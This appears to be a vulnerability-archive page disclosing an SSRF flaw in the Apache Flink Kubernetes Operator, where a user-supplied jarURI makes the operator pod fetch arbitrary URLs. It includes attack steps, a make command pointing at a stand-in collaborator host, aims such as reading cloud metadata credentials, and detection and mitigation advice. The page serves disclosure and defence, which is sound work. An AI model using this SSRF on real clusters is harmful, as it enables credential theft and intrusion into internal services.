PoC Archive PoC Archive
High CVE-2026-40564 unpatched

Apache Flink Kubernetes Operator SSRF via jarURI (CVE-2026-40564)

by oscerd · 2026-07-05

Severity
High
CVE
CVE-2026-40564
Category
cloud
Affected product
Apache flink-kubernetes-operator
Affected versions
1.14.0, and main (1.15-SNAPSHOT as of 2026-04-09)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / Researcheroscerd
CVE / AdvisoryCVE-2026-40564
Categorycloud
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsssrf, kubernetes, flink, operator, kubernetes-operator, jarURI, cloud-metadata, crd
RelatedN/A

Affected Target

FieldValue
Software / SystemApache flink-kubernetes-operator
Versions Affected1.14.0, and main (1.15-SNAPSHOT as of 2026-04-09)
Language / PlatformJava operator on Kubernetes; PoC driven via Makefile + kind + Helm + kubectl
Authentication RequiredYes — attacker needs permission to create FlinkSessionJob/FlinkDeployment custom resources in the cluster (a common, often broadly-granted, namespaced RBAC permission)
Network Access RequiredYes (from the operator pod’s network vantage point, not the attacker’s)

Summary

The Apache Flink Kubernetes Operator reconciles FlinkSessionJob (and FlinkDeployment) custom resources by fetching the JAR referenced in spec.job.jarURI from inside its own pod, without validating the URI’s scheme, host, or resolved IP address. Any user permitted to create these namespaced custom resources — a low-privilege, commonly granted capability in shared clusters — can set jarURI to an arbitrary URL, including http://169.254.169.254/... (cloud instance metadata), internal cluster services, or file:///s3:// and other Flink filesystem-plugin schemes. When the operator reconciles the resource it issues the fetch itself, giving the attacker a full server-side request forgery primitive from a highly-privileged pod. The included PoC spins up a local kind cluster, installs the operator via Helm, and confirms the SSRF by pointing jarURI at a webhook.site collector and observing the operator’s outbound request.


Vulnerability Details

Root Cause

DefaultValidator.validateJobSpec never inspects job.getJarURI(). ArtifactManager.fetch dispatches purely on URI scheme (http/https vs. everything else, which falls through to Flink’s filesystem-plugin fetcher), and HttpArtifactFetcher.fetch opens the URL exactly as supplied with no host/IP allowlist or denylist for loopback, link-local, or site-local addresses.

Attack Vector

  1. Obtain (or already hold) permission to create FlinkSessionJob/FlinkDeployment resources in a namespace the operator watches.
  2. Set spec.job.jarURI to an attacker-controlled or sensitive-target URL (e.g. a webhook collector, the cloud metadata service, or an internal-only endpoint).
  3. The operator reconciles the resource and calls ArtifactManager.fetch, which routes to HttpArtifactFetcher (or the filesystem fetcher for non-http schemes) and issues the request directly from the operator’s pod.
  4. Observe the result via an external collector (for http/https) or via the operator’s reconciliation status/log output (for internal targets, blind SSRF).

Impact

Server-side request forgery from a pod that typically holds broad RBAC (often * on multiple resource types including secrets) and unrestricted network egress: reading cloud IAM credentials from instance metadata, reaching internal-only services, blind port scanning via reconciliation error messages, and — via non-http schemes — local file or object-storage reads through Flink’s filesystem plugins.


Environment / Lab Setup

Target:   Apache flink-kubernetes-operator 1.14.0 on a local `kind` Kubernetes cluster, Flink session cluster (flink:1.17 image)
Attacker: docker, kind, kubectl >= 1.23, helm 3, make, curl, jq; internet-reachable cluster for webhook.site verification

Proof of Concept

PoC Script

See Makefile and manifests/vulnerable-sessionjob.yaml, manifests/session-cluster.yaml in this folder.

1
2
make verify
make verify SSRF_URL=https://your-collaborator/exploit.jar

The Makefile provisions a local kind cluster, installs the operator via Helm, stands up a Flink session cluster, applies a FlinkSessionJob whose jarURI points at a freshly generated webhook.site URL, and polls webhook.site’s API to confirm the operator pod issued the outbound GET request — printing the captured request (User-Agent, source IP) as proof.


Detection & Indicators of Compromise

Signs of compromise:

  • jarURI values pointing at 169.254.169.254, loopback, or internal-only hostnames in Flink CR manifests
  • Unexplained outbound HTTP requests from the flink-kubernetes-operator pod
  • Reconciliation errors referencing filesystem schemes (file://, s3://) not used by legitimate jobs

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor Apache Flink security advisories; the PoC author reported this to security@apache.org and private@flink.apache.org on 2026-04-09
Interim mitigationAdd a NetworkPolicy blocking operator pod egress to link-local, loopback, and cloud metadata addresses; enable IMDSv2-only on AWS; restrict who can create FlinkSessionJob/FlinkDeployment resources via RBAC; validate jarURI scheme/host with an admission webhook until an upstream fix lands

References


Notes

Mirrored from https://github.com/oscerd/CVE-2026-40564 on 2026-07-05.